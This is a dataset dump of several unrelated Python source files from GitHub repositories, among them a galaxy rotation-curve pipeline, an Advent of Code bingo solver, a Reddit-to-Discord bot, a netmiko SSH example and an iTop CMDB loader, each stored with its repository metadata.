np.NAN\r\n res = np.empty((self.__dim, self.__dim))\r\n idx = 0\r\n for i in range(self.__dim):\r\n for j in range(i+1):\r\n res[i,j] = self._data[idx]\r\n if symmetric: res[j,i] = res[i,j]\r\n idx += 1\r\n if not symmetric: res[i,i+1:self.__dim] = fill\r\n return res\r\n \r\nclass SubdiagonalArray(FlatStoredArray):\r\n def __init__(self, dim):\r\n super(SubdiagonalArray, self).__init__(dim)\r\n self.__dim = dim\r\n \r\n @property\r\n def dim(self): return self.__dim\r\n \r\n @classmethod\r\n def _getcount(cls, dim):\r\n return (dim*dim - dim) // 2\r\n \r\n @classmethod\r\n def _keytoindex(cls, key):\r\n i, j = key[0], key[1]\r\n if i < j: i, j = j, i\r\n return (i*i - i) // 2 + j\r\n\r\n @classmethod\r\n def _indextokey(cls, index):\r\n i = int(math.sqrt(2*index)) + 1\r\n n = (i*i - i) // 2\r\n j = index - n\r\n if j < 0:\r\n i -= 1\r\n n = (i*i - i) // 2\r\n j = index - n\r\n return i, j\r\n \r\n @classmethod\r\n def mindim(cls, count):\r\n dim = int(math.sqrt(2*count)) + 1\r\n if cls._getcount(dim) < count:\r\n dim += 1\r\n return dim\r\n \r\n @classmethod\r\n def create(cls, obj):\r\n if isinstance(obj, SubdiagonalArray):\r\n res = SubdiagonalArray(obj.dim)\r\n res.setall(obj)\r\n elif isinstance(obj, DiagonalArray):\r\n res = SubdiagonalArray(obj.dim)\r\n for k, v in obj.items():\r\n if k[0] != k[1]: self[k] = v\r\n else:\r\n res = SubdiagonalArray(cls.mindim(len(obj)))\r\n res.setall(obj)\r\n return res\r\n\r\n def tonumpyarray(self, fill=None, symmetric=False):\r\n import numpy as np\r\n if fill is None: fill = np.NAN\r\n res = np.empty((self.__dim, self.__dim))\r\n idx = 0\r\n for i in range(self.__dim):\r\n for j in range(i):\r\n res[i,j] = self._data[idx]\r\n if symmetric: res[j,i] = res[i,j]\r\n idx += 1\r\n res[i,i] = fill\r\n if not symmetric: res[i,i+1:self.__dim] = fill\r\n return res\r\n","repo_name":"timothyyu/ml_monorepo","sub_path":"tsa/src/main/python/thalesians/tsa/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12254,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"21"} +{"seq_id":"20117856638","text":"draws = []\nboards = []\nwith open('input.txt', 'r') as file:\n data = file.read().split('\\n\\n')\n\ndraws = [int(x) for x in data[0].split(',')]\nraw_boards = [x.split('\\n') for x in data[1:]]\n\nboards = []\nfor board in raw_boards:\n new_board = []\n print(board)\n for row in board:\n new_row = row.split()\n print(new_row)\n new_row = [int(x) for x in new_row]\n if new_row != []:\n new_board.append(new_row) \n\n boards.append(new_board)\n\nprint(boards)\n\ndef check_row_or_column(board):\n for row in board:\n if all(element == row[0] for element in row):\n return True\n\n transposed = list(zip(*board))\n transposed = [list(sublist) for sublist in transposed]\n for column in transposed:\n if all(element == column[0] for element in column):\n return True\n\ndef cal_vals(board):\n total_val = 0\n for row in board:\n for column in row:\n if not column is None:\n total_val += column\n return total_val\n\nfound = False\nval = 0\nlast_draw = None\nwinning_boards = []\nlast = None\nfor draw in draws:\n print('DRAW', draw)\n\n if found:\n break;\n\n last_draw = draw\n\n for i, board in enumerate(boards):\n #if i in winning_boards:\n # break;\n for j, row in enumerate(board):\n for k, item in enumerate(row):\n if item == draw:\n boards[i][j][k] = None\n\n print(len(winning_boards), len(boards) - 1)\n if check_row_or_column(board) and not i in winning_boards:\n winning_boards.append(i)\n last = i\n\n if check_row_or_column(board) and len(winning_boards) == len(boards):\n found = True \n break;\n\n print(winning_boards)\n print('\\n'.join([str(board) for board in boards]))\n\nval = cal_vals(boards[i]) \nprint(i)\nprint(val * last_draw)\n","repo_name":"rubengrootroessink/AdventOfCode","sub_path":"2021/04/2_old.py","file_name":"2_old.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14034922155","text":"\"\"\"\nMain script file for 'rotation_curve_vX_X.'\n\"\"\"\nimport datetime\nSTART = datetime.datetime.now()\n\nimport glob, os.path, warnings\nimport numpy as np\nfrom astropy.io import fits\nfrom astropy.coordinates import SkyCoord\nimport astropy.units as u\n'''\nimport matplotlib.pyplot as plt\nimport pickle, psutil\nprocess = psutil.Process(os.getpid())\nmemory_list = []\n'''\nwarnings.simplefilter('ignore', np.RankWarning)\n\n###############################################################################\n# File format for saved images\n#------------------------------------------------------------------------------\nIMAGE_FORMAT = 'eps'\n###############################################################################\n\n###############################################################################\n# Boolean variable to specify if the script is being run in Bluehive.\n#------------------------------------------------------------------------------\nWORKING_IN_BLUEHIVE = False\nRUN_ALL_GALAXIES = False\n###############################################################################\n\n###############################################################################\n# List of files (in \"[MaNGA_plate]-[MaNGA_fiberID]\" format) to be ran through\n# the individual galaxy version of this script.\n#------------------------------------------------------------------------------\nFILE_IDS = ['8158-12704']\n###############################################################################\n\n\n###############################################################################\n# 'LOCAL_PATH' should be updated depending on the file structure (e.g. if\n# working in bluehive). It is set to 'os.path.dirname(__file__)' when\n# working on a local system.\n#\n# In addition, 'LOCAL_PATH' is altered and 'SCRATCH_PATH' is added if\n# 'WORKING_IN_BLUEHIVE' is set to True. This is done because of how the data\n# folders are kept separate from the python script files in bluehive. For\n# BlueHive to run, images cannot be generated with $DISPLAY keys; therefore,\n# 'matplotlib' is imported and 'Agg' is used. This must be done before\n# 'matplotlib.pyplot' is imported.\n#\n# This block can be altered if desired, but the conditional below is tailored\n# for use with bluehive.\n#\n# ATTN: 'MANGA_FOLDER' must be manually altered according to the data release\n# being ran.\n#------------------------------------------------------------------------------\nif WORKING_IN_BLUEHIVE:\n import matplotlib\n matplotlib.use('Agg')\n\n LOCAL_PATH = '/home/jsm171'\n SCRATCH_PATH = '/scratch/jsm171'\n\n IMAGE_DIR = SCRATCH_PATH + '/images'\n #MANGA_FOLDER = SCRATCH_PATH + '/manga_files/dr15'\n ROT_CURVE_MASTER_FOLDER = SCRATCH_PATH + '/rot_curve_data_files'\n\nelse:\n LOCAL_PATH = os.path.dirname(__file__)\n if LOCAL_PATH == '':\n LOCAL_PATH = '.'\n\n IMAGE_DIR = LOCAL_PATH + '/images'\n #MANGA_FOLDER = LOCAL_PATH + '/manga_files/dr15'\n ROT_CURVE_MASTER_FOLDER = LOCAL_PATH + '/rot_curve_data_files'\n\nROT_CURVE_DATA_INDICATOR = '_rot_curve_data'\nGAL_STAT_DATA_INDICATOR = '_gal_stat_data'\n#import matplotlib.pyplot as plt\n\n# Create output directories if they do not already exist\nif not os.path.isdir( IMAGE_DIR):\n os.makedirs( IMAGE_DIR)\nif not os.path.isdir( ROT_CURVE_MASTER_FOLDER):\n os.makedirs( ROT_CURVE_MASTER_FOLDER)\n###############################################################################\n\n\n###############################################################################\n# Import functions from 'rotation_curve_vX_X.'\n#------------------------------------------------------------------------------\nfrom rotation_curve_v2_1 import extract_data, \\\n match_to_NSA, \\\n calc_rot_curve, \\\n write_rot_curve, \\\n write_master_file\n###############################################################################\n\n\n###############################################################################\n# Create list of galaxy IDs to extract a rotation curve from.\n#------------------------------------------------------------------------------\nif RUN_ALL_GALAXIES:\n FILE_IDS = []\n###############################################################################\n\n\n###############################################################################\n# Extract the length of the FILE_IDS array for future use in creating the\n# 'master_table.'\n#------------------------------------------------------------------------------\nN_gals = len( FILE_IDS)\n###############################################################################\n\n'''\n###############################################################################\n# Print the list of file names.\n#------------------------------------------------------------------------------\nprint(\"files:\", files)\n###############################################################################\n'''\n\n###############################################################################\n# Open NASA-Sloan-Atlas (NSA) master catalog and extract the data structurers\n# for RA; DEC; the axes ratio of b/a (obtained via sersic fit); phi, the\n# angle of rotation in the two-dimensional, observational plane (obtained\n# via sersic fit); and the redshift distance calculated from the shift in\n# H-alpha flux.\n#\n# Note: The NSA RA and DEC are passed to a SkyCoord object to better match\n# galaxies to the NSA catalog index.\n#------------------------------------------------------------------------------\nif WORKING_IN_BLUEHIVE:\n nsa_catalog = fits.open( SCRATCH_PATH + '/nsa_v0_1_2.fits')\nelse:\n #nsa_catalog = fits.open( LOCAL_PATH + '/nsa_v0_1_2.fits')\n nsa_catalog = fits.open('/Users/kellydouglass/Documents/Drexel/Research/Data/nsa_v0_1_2.fits')\n\nnsa_axes_ratio_all = nsa_catalog[1].data['SERSIC_BA']\nnsa_phi_EofN_deg_all = nsa_catalog[1].data['SERSIC_PHI']\nnsa_z_all = nsa_catalog[1].data['Z']\n#nsa_zdist_all = nsa_catalog[1].data['ZDIST']\n#nsa_zdist_all_err = nsa_catalog[1].data['ZDIST_ERR']\nnsa_mStar_all = nsa_catalog[1].data['MASS']\n\nnsa_ra_all = nsa_catalog[1].data['RA']\nnsa_dec_all = nsa_catalog[1].data['DEC']\nnsa_plate_all = nsa_catalog[1].data['PLATE']\nnsa_fiberID_all = nsa_catalog[1].data['FIBERID']\nnsa_mjd_all = nsa_catalog[1].data['MJD']\nnsaID_all = nsa_catalog[1].data['NSAID']\n\nnsa_catalog.close()\n\ncatalog_coords = SkyCoord( ra = nsa_ra_all*u.degree, \n dec = nsa_dec_all*u.degree)\n###############################################################################\n\n\n###############################################################################\n# # Initialize the master arrays that create the structure of the master file.\n#------------------------------------------------------------------------------\nmanga_plate_master = -1 * np.ones( N_files)\nmanga_fiberID_master = -1 * np.ones( N_files)\n\nnsa_axes_ratio_master = -1 * np.ones( N_files)\nnsa_phi_master = -1 * np.ones( N_files)\nnsa_z_master = -1 * np.ones( N_files)\n#nsa_zdist_master = -1 * np.ones( N_files)\n#nsa_zdist_err_master = -1 * np.ones( N_files)\nnsa_mStar_master = -1 * np.ones( N_files)\n\nnsa_ra_master = -1 * np.ones( N_files)\nnsa_dec_master = -1 * np.ones( N_files)\nnsa_plate_master = -1 * np.ones( N_files)\nnsa_fiberID_master = -1 * np.ones( N_files)\nnsa_mjd_master = -1 * np.ones( N_files)\nnsaID_master = -1 * np.ones( N_files)\n###############################################################################\n\n'''\n###############################################################################\n# Create an array to store the time spent on each iteration of the fot-loop.\n# This is used to clock the algorithm for analysis.\n#------------------------------------------------------------------------------\niteration_times = []\n###############################################################################\n'''\n\n###############################################################################\n# This for loop runs through the necessary calculations to calculate and write\n# the rotation curve for all of the galaxies in the FILE_IDS array.\n#------------------------------------------------------------------------------\nfor i in range( N_gals):\n# iteration_start = datetime.datetime.now()\n gal_ID = FILE_IDS[i]\n\n \n ###########################################################################\n # Extract the necessary data from the .fits file via marvin.\n #--------------------------------------------------------------------------\n Ha_vel, Ha_vel_error, v_band, v_band_err, sMass_density, \\\n manga_plate, manga_fiberID, gal_ra, gal_dec = extract_data( gal_ID)\n print( gal_ID, \" EXTRACTED\")\n ###########################################################################\n\n\n ###########################################################################\n # Add the MaNGA catalog information to the master arrays.\n #--------------------------------------------------------------------------\n manga_plate_master[i] = manga_plate\n manga_fiberID_master[i] = manga_fiberID\n ###########################################################################\n\n\n ###########################################################################\n # Match the galaxy's RA and DEC from the to the NSA catalog index, and pull\n # out the matched data from the NSA catalog.\n #--------------------------------------------------------------------------\n nsa_gal_idx = match_to_NSA( gal_ra, gal_dec, catalog_coords)\n print(gal_ID, \" MATCHED\")\n\n axes_ratio = nsa_axes_ratio_all[ nsa_gal_idx]\n phi_EofN_deg = nsa_phi_EofN_deg_all[ nsa_gal_idx] * u.degree\n z = nsa_z_all[ nsa_gal_idx]\n# zdist = nsa_zdist_all[ nsa_gal_idx]\n# zdist_err = nsa_zdist_all_err[ nsa_gal_idx]\n mStar = nsa_mStar_all[ nsa_gal_idx] * u.M_sun\n\n nsa_ra = nsa_ra_all[ nsa_gal_idx]\n nsa_dec = nsa_dec_all[ nsa_gal_idx]\n nsa_plate = nsa_plate_all[ nsa_gal_idx]\n nsa_fiberID = nsa_fiberID_all[ nsa_gal_idx]\n nsa_mjd = nsa_mjd_all[ nsa_gal_idx]\n nsaID = nsaID_all[ nsa_gal_idx]\n ###########################################################################\n\n\n ###########################################################################\n # Add the NSA catalog information to the master arrays.\n #--------------------------------------------------------------------------\n nsa_axes_ratio_master[i] = axes_ratio\n nsa_phi_master[i] = phi_EofN_deg / u.degree\n nsa_z_master[i] = z\n# nsa_zdist_master[i] = zdist\n# nsa_zdist_err_master[i] = zdist_err\n nsa_mStar_master[i] = mStar / u.M_sun\n\n nsa_ra_master[i] = nsa_ra\n nsa_dec_master[i] = nsa_dec\n nsa_plate_master[i] = nsa_plate\n nsa_fiberID_master[i] = nsa_fiberID\n nsa_mjd_master[i] = nsa_mjd\n nsaID_master[i] = nsaID\n ###########################################################################\n\n\n ###########################################################################\n # Extract rotation curve data for the .fits file in question and create an\n # astropy Table containing said data.\n #--------------------------------------------------------------------------\n rot_data_table, gal_stat_table = calc_rot_curve( Ha_vel, Ha_vel_error, \n v_band, v_band_err, \n sMass_density, axes_ratio, \n phi_EofN_deg, z, gal_ID, \n IMAGE_DIR, IMAGE_FORMAT)\n print(gal_ID, \" ROT CURVE CALCULATED\")\n ###########################################################################\n\n\n ###########################################################################\n # Write the rotation curve data to a text file in ascii format.\n #\n # IMPORTANT: rot_curve_main.py writes the data files into the default\n # folder 'rot_curve_data_files'. It also saves the file with the\n # default extension '_rot_curve_data'.\n #--------------------------------------------------------------------------\n write_rot_curve( rot_data_table, gal_stat_table, gal_ID, \n ROT_CURVE_MASTER_FOLDER, ROT_CURVE_DATA_INDICATOR, \n GAL_STAT_DATA_INDICATOR)\n print(gal_ID, \" WRITTEN\")\n ###########################################################################\n\n '''\n ###########################################################################\n # Clock the current iteration and append the time to 'iteration_times'\n # which is plotted below.\n #--------------------------------------------------------------------------\n iteration_end = datetime.datetime.now() - iteration_start\n print(\"ITERATION TIME:\", iteration_end)\n iteration_times.append( iteration_end.total_seconds())\n ###########################################################################\n '''\n '''\n print('Loop number:', loop_num)\n print('manga_data_release_master length:', len(manga_data_release_master), len(pickle.dumps(manga_data_release_master)))\n print('manga_plate_master length:', len(manga_plate_master), len(pickle.dumps(manga_plate_master)))\n print('manga_fiberID_master length:', len(manga_fiberID_master), len(pickle.dumps(manga_fiberID_master)))\n print('nsa_axes_ratio_master length:', len(nsa_axes_ratio_master), len(pickle.dumps(nsa_axes_ratio_master)))\n print('nsa_phi_master length:', len(nsa_phi_master), len(pickle.dumps(nsa_phi_master)))\n print('nsa_zdist_master length:', len(nsa_zdist_master), len(pickle.dumps(nsa_zdist_master)))\n print('nsa_zdist_err_master length:', len(nsa_zdist_err_master), len(pickle.dumps(nsa_zdist_err_master)))\n print('nsa_mStar_master length:', len(nsa_mStar_master), len(pickle.dumps(nsa_mStar_master)))\n print('nsa_ra_master length:', len(nsa_ra_master), len(pickle.dumps(nsa_ra_master)))\n print('nsa_dec_master length:', len(nsa_dec_master), len(pickle.dumps(nsa_dec_master)))\n print('nsa_plate_master length:', len(nsa_plate_master), len(pickle.dumps(nsa_plate_master)))\n print('nsa_fiberID_master length:', len(nsa_fiberID_master), len(pickle.dumps(nsa_fiberID_master)))\n print('nsa_mjd_master length:', len(nsa_mjd_master), len(pickle.dumps(nsa_mjd_master)))\n print('nsaID_master length:', len(nsaID_master), len(pickle.dumps(nsaID_master)))\n print('Memory usage (bytes):', process.memory_info().rss)\n\n memory_list.append( process.memory_info().rss)\n '''\n\n print(\"\\n\")\n# ~ # ~ # ~ # ~ # ~ # ~ # ~ # ~ # ~ # ~ # ~ # ~ # ~ # ~ # ~ # ~ # ~ # ~ # ~ # ~\n\n'''\n###############################################################################\n# Histogram the iteration time for each loop.\n#------------------------------------------------------------------------------\n#BINS = np.linspace( 0, 18, 37)\n\niteration_clock_fig = plt.figure()\nplt.title('Iteration Time Histogram')\nplt.xlabel('Iteration Time [sec]')\nplt.ylabel('Percentage of Galaxies')\n#plt.xticks( np.arange( 0, 19, 1))\nplt.hist( iteration_times,\n# BINS,\n color='indianred', density=True)\nplt.savefig( IMAGE_DIR + \"/histograms/iteration_clock_hist\",\n format=image_format)\nplt.show()\nplt.close()\ndel iteration_clock_fig\n###############################################################################\n'''\n'''\n###############################################################################\n# Build master file that contains identifying information for each galaxy\n# as well as scientific information as taken from the NSA catalog.\n#------------------------------------------------------------------------------\nwrite_master_file( manga_plate_master, manga_fiberID_master,\n nsa_plate_master, nsa_fiberID_master, nsa_mjd_master,\n nsaID_master, nsa_ra_master, nsa_dec_master,\n nsa_axes_ratio_master, nsa_phi_master, nsa_z_master,\n nsa_mStar_master,\n LOCAL_PATH)\nprint(\"MASTER FILE WRITTEN\")\n###############################################################################\n'''\n\n###############################################################################\n# Clock the program's run time to check performance.\n#------------------------------------------------------------------------------\nFINISH = datetime.datetime.now()\nprint(\"Runtime:\", FINISH - START)\n###############################################################################\n\n'''\n###############################################################################\n# Plot memory usage for each galaxy\n#------------------------------------------------------------------------------\nplt.figure()\nplt.plot(memory_list, '.')\nplt.xlabel('Iteration number')\nplt.ylabel('Memory usage [bytes]')\nplt.show()\n###############################################################################\n'''","repo_name":"kadglass/RotationCurves","sub_path":"spirals/Marvin_rot_curve_main.py","file_name":"Marvin_rot_curve_main.py","file_ext":"py","file_size_in_byte":16889,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"9950493405","text":"import sys\nimport json\n\n\nfo = open(sys.argv[1], \"r\")\n\nlines = fo.readlines()\n\n\nfor line in lines:\n line = json.loads(line)\n if \"labels\" in line:\n line[\"entities\"] = line.pop(\"labels\")\n else:\n line[\"entities\"] = []\n\n tmp_ents = []\n for e in line[\"entities\"]:\n if e[2] in ['NAME', 'COMPANIES WORKED AT', 'DESIGNATION', 'YEARS OF EXPERIENCE', 'LOC', 'SKILLS', 'DEGREE', 'EMAIL ADDRESS', 'GRADIATION YEAR', 'COLLEGE NAME', 'DOB', 'PHONE NUMBER', 'LANGUAGES', 'INTERESTS', 'LINKS']:\n tmp_ents.append({\"start\": e[0], \"end\": e[1], \"label\": e[2]})\n\n line[\"entities\"] = tmp_ents\n\n if (len(line[\"text\"]) > 5):\n print(json.dumps({\"entities\": line[\"entities\"], \"text\": line[\"text\"]}))\n","repo_name":"MathisZerbib/CV-extract","sub_path":"back/convert_to_spacy.py","file_name":"convert_to_spacy.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12349416395","text":"#Frames\r\nfrom tkinter import *\r\nfrom tkinter import messagebox\r\n#showinfo, showwarning, showerror, askquestion, askokcancel, askyesno\r\n\r\nmain = Tk()\r\nmain.title('Message')\r\n\r\n#defining functions \r\ndef popup():\r\n response = messagebox.askquestion(\"Pop up\", \"testing\")\r\n Label(main, text=response).pack()\r\n if response == \"yes\":\r\n Label(main, text=\"You clicked yes\").pack()\r\n else:\r\n Label(main, text=\"you clicked no\").pack()\r\n \r\n\r\n#creating a button\r\nButton(main, text=\"Pop up\", command=popup).pack()\r\n\r\n\r\nmainloop()\r\n","repo_name":"RuhanAsiph/testingTkinter","sub_path":"messages.py","file_name":"messages.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73147343093","text":"import praw, discord, time\r\nfrom discord.ext import tasks\r\nfrom datetime import datetime\r\n\r\nclass MyClient(discord.Client):\r\n def __init__(self, unfiltered_channel_id, filtered_channel_id,\r\n subreddit, tracker, inclusive, exclusive):\r\n super().__init__()\r\n \r\n self.ufci = unfiltered_channel_id\r\n self.fci = filtered_channel_id\r\n \r\n self.sub = subreddit\r\n self.tracker = tracker\r\n self.inc = inclusive\r\n self.exc = exclusive\r\n\r\n # start the task to run in the background\r\n self.getNewPost.start()\r\n\r\n async def on_ready(self):\r\n print(f'Logged in as {self.user}')\r\n print('------')\r\n\r\n @tasks.loop(seconds=300) # task runs every 5 minutes in background\r\n async def getNewPost(self):\r\n ufchannel = self.get_channel(self.ufci)\r\n fchannel = self.get_channel(self.fci)\r\n \r\n newest = \"\"\r\n temp = []\r\n for post in self.sub.new(limit=25, params={'before': self.tracker}): #before = new posts made after the tracker post (since its collected in reverse order)\r\n temp.append(post)\r\n if newest == \"\":\r\n newest = post.fullname\r\n print(f\"Req made on {convert(round(time.time()))}\") \r\n if temp !=[]:\r\n temp.reverse()\r\n file = open('history.txt', 'a')\r\n for post in temp:\r\n file.write(f'{post.title}\\n{convert(post.created_utc)} {post.link_flair_text}\\n{post.shortlink} - {post.fullname}\\n-----')\r\n await ufchannel.send(f'**{post.title}**\\n{convert(post.created_utc)} `{post.link_flair_text}`\\n{post.shortlink} @here - {post.fullname}')\r\n if self.inc in post.title and self.exc not in post.title:\r\n await fchannel.send(f'**{post.title}**\\n{convert(post.created_utc)} `{post.link_flair_text}`\\n{post.shortlink} @here - {post.fullname}')\r\n\r\n if newest != \"\":\r\n self.tracker = newest\r\n with open('data.txt') as f:\r\n lines = f.readlines()\r\n f = open('data.txt', 'w')\r\n for line in lines:\r\n t = line.split(' = ')[0]\r\n if t == \"post_tracker\":\r\n f.write(f'{t} = {self.tracker}\\n')\r\n else:\r\n f.write(line)\r\n f.close()\r\n file.close()\r\n\r\n @getNewPost.before_loop\r\n async def before_my_task(self):\r\n await self.wait_until_ready() # wait until the bot logs in\r\n\r\n\"\"\"\r\npost_tracker = 't3_r6457q' 2021 Dec 01 first post\r\n\"\"\"\r\n\r\ndef convert(time):\r\n replace = {'-01-': 'Jan', '-02-': 'Feb', '-03-': 'Mar', '-04-': 'Apr', '-05-': 'May', '-06-': 'Jun',\r\n '-07-': 'Jul', '-08-': 'Aug', '-09-': 'Sep', '-10-': 'Oct', '-11-': 'Nov', '-12-': 'Dec'}\r\n time = str(datetime.fromtimestamp(time))\r\n for month in replace:\r\n if month in time:\r\n a, b = time.split(month)\r\n return f'{replace[month]} {b[:-3]}'\r\n\r\n#reading in data.txt\r\ndata = []\r\nwith open('data.txt') as file:\r\n for x in range(10):\r\n data.append((file.readline().strip('\\n')).split(' = ')[1])\r\n data[6], data[7] = int(data[6]), int(data[7])\r\n\r\nreddit = praw.Reddit(client_id = data[1],\r\n client_secret = data[2],\r\n user_agent = data[3],\r\n check_for_async=False)\r\n\r\nLM = reddit.subreddit(data[4])\r\n\r\nclient = MyClient(data[6], data[7],\r\n LM, data[0], data[8], data[9])\r\n\r\nclient.run(data[5])\r\n\r\ninput(\"PRESS ENTER TO EXIT\")\r\n","repo_name":"BenjaminDay/Reddit-Discord-API-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34058259950","text":"#!/usr/bin/env python\nfrom netmiko import ConnectHandler\n\nkey_file = \"~/.ssh/test_rsa\"\ncisco1 = {\n \"device_type\": \"cisco_ios\",\n \"host\": \"cisco1.lasthop.io\",\n \"username\": \"testuser\",\n \"use_keys\": True,\n \"key_file\": key_file,\n}\n\nwith ConnectHandler(**cisco1) as net_connect:\n output = net_connect.send_command(\"show ip arp\")\n\nprint(f\"\\n{output}\\n\")\n","repo_name":"ktbyers/netmiko","sub_path":"examples/conn_ssh_keys.py","file_name":"conn_ssh_keys.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":3278,"dataset":"github-code","pt":"21"} +{"seq_id":"34593002186","text":"'''Exception handling'''\r\n\r\na = int(input(\"enter the numerator: \"))\r\nb = int(input(\"enter the denominator: \"))\r\n\r\nc = None\r\n\r\ntry:\r\n print(\"Resource open.\")\r\n c = a/b\r\nexcept ZeroDivisionError as e:\r\n\tprint(\"Sorry, can't perform division - \",e)\r\nexcept ValueError as e:\r\n\tprint(\"Sorry, can't perform division - \",e)\r\nexcept Exception as e:\r\n\tprint(\"Sorry, can't perform division - \",e)\r\nfinally:\r\n print(\"Resource closed.\")\r\n\t\r\nprint(\"The value of c is {}\".format(c))","repo_name":"KaProDes/python3","sub_path":"Tutorial/tut52.py","file_name":"tut52.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40756876262","text":"from sqlalchemy import create_engine\nimport re\nfrom pandas import Series, DataFrame, concat\nimport pandas as pd\nfrom pymongo import MongoClient\nimport subprocess as t\nimport logging\nfrom logging.config import fileConfig\nimport configparser\n\nfileConfig('logger_config.ini')\nlogger=logging.getLogger('infoLogger')\n\nclass LoadHyper():\n\n def __init__(self):\n self.cfg = configparser.ConfigParser()\n self.cfg.read(\"config.ini\") \n cmdb_db = self.cfg.get(\"cmdb\",\"db\")\n cmdb_str = self.cfg.get(\"cmdb\",\"conn_str\")\n self.client = MongoClient(cmdb_str)\n self.db = self.client[cmdb_db]\n \n self.engine = create_engine(\n \"mysql+pymysql://root:Password1@127.0.0.1:3306/itop?charset=utf8\", encoding=\"utf-8\", echo=False)\n\n def load_to_itopdb(self, df, source_table_name):\n self.engine.execute(\"delete from %s\" % source_table_name)\n df.to_sql(source_table_name, con=self.engine,\n if_exists='append', index=False)\n\n def apply_by_php(self, source_table_name):\n source_table_id = source_table_name.split('_').pop()\n php_cmd = \"php -q /itop_data/http_dir/itop/synchro/synchro_exec.php --auth_user=%s --auth_pwd=%s --data_sources=%s\" % (\n 'admin', 'Password1', source_table_id)\n output = t.getoutput(php_cmd)\n logger.info(output + \"\\n\")\n\n def get_hyper_src_df(self,table_name):\n get_ps_sql = \"select id as 'server_id',name,environment from %s\" % (table_name)\n ps_df = pd.read_sql(get_ps_sql, con=self.engine).assign(join_name=lambda x:x['name'])\n vc_server_coll = self.db['vcenter_server']\n vc_server_df = pd.DataFrame(list(vc_server_coll.find())).assign(join_name=lambda x:x['vc_name'])\n vc_server_df['join_name'] = vc_server_df['join_name'].map(lambda x:str(x).lower().split('.cargosmart.com')[0])\n hyper_src_df = pd.merge(vc_server_df, ps_df, left_on='join_name', right_on='join_name', how='left').assign(primary_key=lambda x:x['name']).assign(org_id=lambda x:1)[['server_id','name','primary_key','org_id','environment']]\n # logger.info(hyper_src_df)\n return hyper_src_df\n\n\n def main(self):\n hyper_source_table = 'synchro_data_hypervisor_83'\n hyper_src_df = self.get_hyper_src_df(table_name='view_PhysicalServer')\n self.load_to_itopdb(df=hyper_src_df, source_table_name=hyper_source_table)\n self.apply_by_php(source_table_name=hyper_source_table)\n\nif __name__ == '__main__':\n hyper = LoadHyper()\n hyper.main()\n\n","repo_name":"yyztc/itop","sub_path":"load_hypervisor.py","file_name":"load_hypervisor.py","file_ext":"py","file_size_in_byte":2540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10084565609","text":"import os\r\n\r\ndef writeTo(state,flag,f):\r\n if(flag == 'start'):\r\n f.writelines(\"Downloading the \"+state + \"......\")\r\n elif(flag == \"end\"):\r\n f.writelines(\"Complete.\")\r\n\r\ndef progress(repo,state,flag):\r\n file = \"public/data/\" + repo + \"/progress\"\r\n\r\n if(state == 'analyze'):\r\n with open(file,'a') as f:\r\n if(flag == 'start'):\r\n f.writelines(\"\\nAnalyzing the details......\")\r\n elif(flag == \"end\"):\r\n f.writelines(\"Complete.\")\r\n if(state == 'commits'):\r\n with open(file,'a') as f:\r\n writeTo(state, flag, f)\r\n if(state == 'issues'):\r\n with open(file,'a') as f:\r\n if(flag == \"start\"):\r\n f.writelines(\"\\n\")\r\n writeTo(state, flag, f)\r\n if(state == 'comments'):\r\n with open(file,'a') as f:\r\n if(flag == \"start\"):\r\n f.writelines(\"\\n\")\r\n writeTo(state, flag, f)\r\n'''\r\nitems=[\"commits\",\"issues\",\"comments\",\"analyze\"]\r\nrepo = \"nlohmann/json\"\r\nfor item in items:\r\n progress(repo,item,\"start\")\r\n progress(repo,item,\"end\")\r\n'''\r\n","repo_name":"jiangsha1007/repoHealth","sub_path":"github/py_code/progress.py","file_name":"progress.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20356960063","text":"from flask import render_template\nfrom app import app\n\n\n@app.route('/')\n@app.route('/index')\ndef index():\n\tuser = {\n\t\t\t'username': 'Hin',\n\t\t\t'age': '33',\n\t\t\t}\n\treturn render_template('index.html', title='Сервис для работы', user=user)\n","repo_name":"Hinahin/OnlineStudy","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42226990932","text":"# -*- coding: UTF-8 -*-\n\"\"\"\n:Script: line_ang_azim.py\n:Author: Dan.Patterson@carleton.ca\n:Modified: 2016-12-21\n:\n:Purpose:\n:\n:Functions: help(<function name>) for help\n:---------\n: _demo - This function ...\n:\n:Notes:\n: see help topic: np.info(np.arctan2)\n: np.arctan2(dy, dx) is the format which differs from excel\n: dx, dy - the differences in the respective coordinates x and y\n: 360 = 2*np.pi, aka the circle in radians\n:Results:\n:------- x-axis compass azim\n: orig: [0, 0]: dest: [-1, 1] line_dir: 135.0 NW 315\n: orig: [0, 0]: dest: [0, 1] line_dir: 90.0 N 0, 360\n: orig: [0, 0]: dest: [1, 1] line_dir: 45.0 NE 45\n: orig: [0, 0]: dest: [1, 0] line_dir: 0.0 E 90\n: orig: [0, 0]: dest: [1, -1] line_dir: -45.0 SE 135\n: orig: [0, 0]: dest: [0, -1] line_dir: -90.0 S 180\n: orig: [0, 0]: dest: [-1, -1] line_dir: -135.0 SW 225\n: orig: [0, 0]: dest: [-1, 0] line_dir: 180.0 W 270\n:\n:References:\n:\n:---------------------------------------------------------------------:\n\"\"\"\n# ---- imports, formats, 